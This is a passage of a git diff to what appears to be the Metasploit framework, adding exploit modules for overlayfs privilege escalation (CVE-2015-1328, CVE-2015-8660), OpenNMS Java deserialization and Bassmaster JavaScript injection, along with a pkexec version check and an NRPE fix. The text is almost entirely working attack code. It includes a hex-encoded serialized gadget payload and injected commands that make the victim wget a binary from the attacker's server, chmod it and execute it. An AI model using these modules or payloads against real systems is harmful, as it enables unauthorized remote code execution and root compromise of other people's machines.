+ [ 'EDB', '39166'], # CVE-2015-8660
+ [ 'EDB', '37292'], # CVE-2015-1328
+ [ 'CVE', '2015-1328'],
+ [ 'CVE', '2015-8660']
+ ]
+ ))
+ register_options(
+ [
+ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
+ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
+ ], self.class)
+ end
+
+ def check
+ def mounts_exist?()
+ vprint_status('Checking if mount points exist')
+ if target.name == 'CVE-2015-1328'
+ if not directory?('/tmp/ns_sploit')
+ vprint_good('/tmp/ns_sploit not created')
+ return true
+ else
+ print_error('/tmp/ns_sploit directory exists. Please delete.')
+ return false
+ end
+ elsif target.name == 'CVE-2015-8660'
+ if not directory?('/tmp/haxhax')
+ vprint_good('/tmp/haxhax not created')
+ return true
+ else
+ print_error('/tmp/haxhax directory exists. Please delete.')
+ return false
+ end
+ end
+ end
+
+ def kernel_vuln?()
+ os_id = cmd_exec('grep ^ID= /etc/os-release')
+ case os_id
+ when 'ID=ubuntu'
+ kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
+ case kernel.release.to_s
+ when '3.13.0'
+ if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
+ vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
+ return true
+ else
+ print_error("Kernel #{kernel} is NOT vulnerable")
+ return false
+ end
+ when '3.16.0'
+ if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
+ vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
+ return true
+ else
+ print_error("Kernel #{kernel} is NOT vulnerable")
+ return false
+ end
+ when '3.19.0'
+ if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
+ vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
+ return true
+ elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
+ vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
+ return true
+ else
+ print_error("Kernel #{kernel} is NOT vulnerable")
+ return false
+ end
+ when '4.2.0'
+ if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
+ vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
+ return true
+ else
+ print_error("Kernel #{kernel} is NOT vulnerable")
+ return false
+ end
+ else
+ print_error("Non-vuln kernel #{kernel}")
+ return false
+ end
+ when 'ID=fedora'
+ kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
+ # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
+ # => "4.0.4-301"
+ if kernel.release < Gem::Version.new('4.2.8')
+ vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
+ return true
+ else
+ print_error("Non-vuln kernel #{kernel}")
+ return false
+ end
+ else
+ print_error("Unknown OS: #{os_id}")
+ return false
+ end
+ end
+
+ if mounts_exist?() && kernel_vuln?()
+ return CheckCode::Appears
+ else
+ return CheckCode::Safe
+ end
+ end
+
+ def exploit
+
+ if check != CheckCode::Appears
+ fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
+ end
+
+ filename = rand_text_alphanumeric(8)
+ executable_path = "#{datastore['WritableDir']}/#{filename}"
+ payloadname = rand_text_alphanumeric(8)
+ payload_path = "#{datastore['WritableDir']}/#{payloadname}"
+
+ def has_prereqs?()
+ gcc = cmd_exec('which gcc')
+ if gcc.include?('gcc')
+ vprint_good('gcc is installed')
+ else
+ print_error('gcc is not installed. Compiling will fail.')
+ end
+ return gcc.include?('gcc')
+ end
+
+ compile = false
+ if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
+ if has_prereqs?()
+ compile = true
+ vprint_status('Live compiling exploit on system')
+ else
+ vprint_status('Dropping pre-compiled exploit on system')
+ end
+ end
+ if check != CheckCode::Appears
+ fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
+ end
+
+ def upload_and_chmod(fname, fcontent, cleanup=true)
+ print_status "Writing to #{fname} (#{fcontent.size} bytes)"
+ rm_f fname
+ write_file(fname, fcontent)
+ cmd_exec("chmod +x #{fname}")
+ if cleanup
+ register_file_for_cleanup(fname)
+ end
+ end
+
+ def on_new_session(session)
+ super
+ if target.name == 'CVE-2015-1328'
+ session.shell_command("/bin/su") #this doesnt work on meterpreter?????
+ # we cleanup here instead of earlier since we needed the /bin/su in our new session
+ session.shell_command('rm -f /etc/ld.so.preload')
+ session.shell_command('rm -f /tmp/ofs-lib.so')
+ end
+ end
+
+ if compile
+ begin
+ if target.name == 'CVE-2015-1328'
+ # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
+ # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
+ path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
+ fd = ::File.open( path, "rb")
+ cve_2015_1328 = fd.read(fd.stat.size)
+ fd.close
+
+ # pulled out from 1328.c's LIB define
+ path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
+ fd = ::File.open( path, "rb")
+ ofs_lib = fd.read(fd.stat.size)
+ fd.close
+ else
+ # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
+ path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
+ fd = ::File.open( path, "rb")
+ cve_2015_8660 = fd.read(fd.stat.size)
+ fd.close
+ end
+ rescue
+ compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
+ end
+ end
+
+
+ if compile
+ if target.name == 'CVE-2015-1328'
+ cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
+ "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
+ upload_and_chmod("#{executable_path}.c", cve_2015_1328)
+ ofs_path = "#{datastore['WritableDir']}/ofs-lib"
+ upload_and_chmod("#{ofs_path}.c", ofs_lib)
+ cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
+ register_file_for_cleanup("#{ofs_path}.c")
+ else
+ cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
+ "os.execl('#{payload_path}','#{payloadname}')")
+ upload_and_chmod("#{executable_path}.c", cve_2015_8660)
+ end
+ vprint_status("Compiling #{executable_path}.c")
+ cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
+ register_file_for_cleanup(executable_path)
+ else
+ if target.name == 'CVE-2015-1328'
+ path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
+ fd = ::File.open( path, "rb")
+ cve_2015_1328 = fd.read(fd.stat.size)
+ fd.close
+ upload_and_chmod(executable_path, cve_2015_1328)
+
+ path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
+ fd = ::File.open( path, "rb")
+ ofs_lib = fd.read(fd.stat.size)
+ fd.close
+ ofs_path = "#{datastore['WritableDir']}/ofs-lib"
+ # dont auto cleanup or else it happens too quickly and we never escalate ourprivs
+ upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
+
+ # overwrite with the hardcoded variable names in the compiled versions
+ payload_filename = 'lXqzVpYN'
+ payload_path = '/tmp/lXqzVpYN'
+ else
+ path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
+ fd = ::File.open( path, "rb")
+ cve_2015_8660 = fd.read(fd.stat.size)
+ fd.close
+ upload_and_chmod(executable_path, cve_2015_8660)
+ # overwrite with the hardcoded variable names in the compiled versions
+ payload_filename = '1H0qLaq2'
+ payload_path = '/tmp/1H0qLaq2'
+ end
+ end
+
+ upload_and_chmod(payload_path, generate_payload_exe)
+ vprint_status('Exploiting...')
+ output = cmd_exec(executable_path)
+ output.each_line { |line| vprint_status(line.chomp) }
+ end
+end
diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb
index fef8cf0a34..59881129d0 100644
--- a/modules/exploits/linux/local/pkexec.rb
+++ b/modules/exploits/linux/local/pkexec.rb
@@ -66,6 +66,24 @@ class MetasploitModule < Msf::Exploit::Local
@executable_path
end
+ def check
+ # version can be nil
+ version = cmd_exec('pkexec --version').split.last
+
+ # version can be a string, so we check it
+ if version.nil? || !Gem::Version.correct?(version)
+ vprint_error('pkexec not found or version incorrect')
+ return CheckCode::Unknown
+ end
+
+ if Gem::Version.new(version) <= Gem::Version.new('0.101')
+ vprint_good("pkexec #{version} found")
+ return CheckCode::Appears
+ end
+
+ CheckCode::Detected
+ end
+
def exploit
main = %q^
/*
diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
index 3ac5320c90..f8c7290538 100644
--- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
+++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
@@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
- # NRPE uses unauthenticated Annonymous-Diffie-Hellman
+ # NRPE uses unauthenticated Anonymous-Diffie-Hellman
# setting the global SSL => true will break as we would be overlaying
# an SSLSocket on another SSLSocket which hasnt completed its handshake
@@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote
self.sock = super(global, opts)
if datastore['NRPESSL'] or @force_ssl
- ctx = OpenSSL::SSL::SSLContext.new("TLSv1")
+ ctx = OpenSSL::SSL::SSLContext.new(:TLSv1)
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
ctx.ciphers = "ADH"
diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb
new file mode 100644
index 0000000000..76977ba1c1
--- /dev/null
+++ b/modules/exploits/linux/misc/opennms_java_serialize.rb
@@ -0,0 +1,143 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::Remote::Java::Rmi::Client
+ include Msf::Exploit::Remote::HttpServer
+ include Msf::Exploit::EXE
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'OpenNMS Java Object Unserialization Remote Code Execution',
+ 'Description' => %q(
+ This module exploits a vulnerability in the OpenNMS Java object which allows
+ an unauthenticated attacker to run arbitary code against the system.
+ ),
+ 'Author' =>
+ [
+ 'Ben Turner ', # @benpturner
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/' ]
+ ],
+ 'Targets' =>
+ [
+ [ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
+ [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Nov 19 2014'
+ )
+ )
+
+ register_options(
+ [
+ Opt::RPORT(1099),
+ OptString.new('WRITABLEDIR', [false, 'A writable directory on the host', '/tmp/'])
+ ], self.class)
+ end
+
+ # This is the execute function that is re-used throughout
+ def exec_command(cmd)
+ vprint_status("#{peer} - Downloading the file #{cmd}")
+
+ # Do the exploit command bit
+ data1 = "\x4a\x52\x4d\x49\x00\x02\x4b"
+ data2 = "\x00\x09\x31\x32\x37\x2E\x30\x2E\x31\x2E\x31\x00\x00\x00\x00\x50\xAC\xED\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4D\xC9\xD4\xE6\x3B\xDF\x74\x00\x05\x70\x77\x6E\x65\x64\x73\x7D\x00\x00\x00\x01\x00\x0F\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x52\x65\x6D\x6F\x74\x65\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x70\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7E\x00\x00\x73\x71\x00\x7E\x00\x05\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x70\x78\x71\x00\x7E\x00\x02\x73\x71\x00\x7E\x00\x05\x73\x72\x00\x2A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\x43\x6F\x6E\x73\x74\x61\x6E\x74\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x70\x78\x70\x76\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x24\x73\x71\x00\x7E\x00\x1C\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x21\x73\x71\x00\x7E\x00\x1C\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00"
+ data2 += cmd.length.chr
+ data2 += cmd
+ data2 += "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x01\x71\x00\x7E\x00\x29\x73\x71\x00\x7E\x00\x17\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x70\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7E\x00\x09\x3F\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7E\x00\x3F\x78\x71\x00\x7E\x00\x3F"
+
+ begin
+ connect
+ sock.put(data1)
+
+ # Wait for a successful response
+ data = recv_protocol_ack # rescue nil
+ unless data
+ fail_with(Failure::Unknown, "This system has not responded with the correct RMI header")
+ end
+
+ # Send the RMI payload
+ sock.put(data2)
+
+ # Disconnect
+ disconnect
+
+ rescue ::Rex::ConnectionError
+ fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the host")
+ end
+ end
+
+ # Wget the file onto the host in the temp directory
+ def wget_payload
+ resource_uri = '/' + @dropped_elf
+
+ if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"
+ srv_host = Rex::Socket.source_address(rhost)
+ else
+ srv_host = datastore['SRVHOST']
+ end
+
+ service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+
+ vprint_status("#{peer} - Starting up our web service on #{service_url} ...")
+ start_service(
+ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }
+ )
+
+ exec_command("wget -P #{datastore['WRITABLEDIR']} #{service_url}")
+
+ Rex.sleep(15)
+ end
+
+ # Change permissions to permit binary execution
+ def chmod_payload
+ cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
+
+ vprint_status("#{peer} - Chmod the payload...")
+ res = exec_command(cmd)
+
+ fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload") unless res
+
+ Rex.sleep(1)
+ end
+
+ # Execute payload on host
+ def exec_payload
+ cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)
+
+ vprint_status("#{peer} - Executing the payload...")
+ res = exec_command(cmd)
+
+ fail_with(Failure::Unknown, "#{peer} - Unable to exec payload") unless res
+
+ Rex.sleep(1)
+ end
+
+ # Handle incoming requests from the server
+ def on_request_uri(cli, _request)
+ vprint_status("#{peer} - Sending the payload to the server...")
+ send_response(cli, generate_payload_exe)
+ end
+
+ # Create the payload and run the commands in succcession
+ def exploit
+ print_status("#{peer} - Exploting the vulnerable service...")
+
+ @payload_url = ''
+ @dropped_elf = rand_text_alpha(rand(5) + 3)
+
+ wget_payload
+ chmod_payload
+ exec_payload
+ end
+end
diff --git a/modules/exploits/multi/http/bassmaster_js_injection.rb b/modules/exploits/multi/http/bassmaster_js_injection.rb
new file mode 100644
index 0000000000..adefe65300
--- /dev/null
+++ b/modules/exploits/multi/http/bassmaster_js_injection.rb
@@ -0,0 +1,168 @@
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HttpServer
+ include Msf::Exploit::EXE
+ include Msf::Exploit::FileDropper
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',
+ 'Description' => %q{
+ This module exploits an un-authenticated code injection vulnerability in the bassmaster
+ nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an
+ attacker to dynamically execute JavaScript code on the server side using an eval.
+
+ Note that the code uses a '\x2f' character so that we hit the match on the regex.
+ },
+ 'Author' =>
+ [
+ 'mr_me ', # msf
+ 'Jarda Kotesovec' # original bug finder
+ ],
+ 'References' =>
+ [
+ [ 'CVE', '2014-7205'],
+ [ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory
+ ],
+ 'License' => MSF_LICENSE,
+ 'Platform' => ['linux', 'bsd'], # binary > native JavaScript
+ 'Arch' => [ARCH_X86, ARCH_X86_64],
+ 'Privileged' => false,
+ 'Targets' =>
+ [
+ [ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Nov 1 2016'))
+ register_options(
+ [
+ Opt::RPORT(8080), # default port for the examples/batch.js file
+ OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file
+ OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
+ ], self.class)
+ end
+
+ def check
+
+ # So if we can append an encapsulated string into the body
+ # we know that we can execute arbitrary JavaScript code
+ rando = rand_text_alpha(8+rand(8))
+ check = "+'#{rando}'"
+
+ # testing
+ requests = [
+ {:method => "get", :path => "/profile"},
+ {:method => "get", :path => "/item"},
+ {:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
+ ]
+
+ post = {:requests => requests}
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(datastore['URIPATH']),
+ 'ctype' => 'application/json',
+ 'data' => post.to_json
+ })
+
+ # default example app
+ if res and res.code == 200 and res.body =~ /#{rando}/
+ return CheckCode::Vulnerable
+
+ # non-default app
+ elsif res and res.code == 500 and res.body =~ /#{rando}/
+ return CheckCode::Appears
+ end
+
+ return CheckCode::Safe
+ end
+
+ def on_request_uri(cli, request)
+ if (not @pl)
+ print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
+ return
+ end
+ print_status("#{rhost}:#{rport} - Sending the payload to the server...")
+ @elf_sent = true
+ send_response(cli, @pl)
+ end
+
+ def send_payload
+ @bd = rand_text_alpha(8+rand(8))
+ pn = rand_text_alpha(8+rand(8))
+ register_file_for_cleanup("/tmp/#{@bd}")
+ cmd = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};"
+ cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};"
+ cmd << "\\x2ftmp\\x2f#{@bd}"
+ pay = ";require('child_process').exec('#{cmd}');"
+
+ # pwning
+ requests = [
+ {:method => "get", :path => "/profile"},
+ {:method => "get", :path => "/item"},
+ {:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
+ ]
+
+ post = {:requests => requests}
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(datastore['URIPATH']),
+ 'ctype' => 'application/json',
+ 'data' => post.to_json
+ })
+
+ # default example app
+ if res and res.code == 200 and res.body =~ /id/
+ return true
+
+ # incase we are not targeting the default app
+ elsif res and res.code == 500 and es.body !=~ /id/
+ return true
+ end
+ return false
+ end
+
+ def start_http_server
+ @pl = generate_payload_exe
+ @elf_sent = false
+ downfile = rand_text_alpha(8+rand(8))
+ resource_uri = "\\x2f#{downfile}"
+ if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+ srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
+ else
+ srv_host = datastore['SRVHOST']
+ end
+
+ # do not use SSL for the attacking web server
+ if datastore['SSL']
+ ssl_restore = true
+ datastore['SSL'] = false
+ end
+
+ @service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
+ service_url_payload = srv_host + resource_uri
+ print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
+ start_service({'Uri' => {
+ 'Proc' => Proc.new { |cli, req|
+ on_request_uri(cli, req)
+ },
+ 'Path' => resource_uri
+ }})
+ datastore['SSL'] = true if ssl_restore
+ connect
+ end
+
+ def exploit
+ start_http_server
+ if send_payload
+ print_good("Injected payload")
+ # we need to delay, for the stager
+ select(nil, nil, nil, 5)
+ end
+ end
+end
diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb
index 10ca92c3c8..cad455f947 100644
--- a/modules/exploits/multi/http/jenkins_script_console.rb
+++ b/modules/exploits/multi/http/jenkins_script_console.rb
@@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote
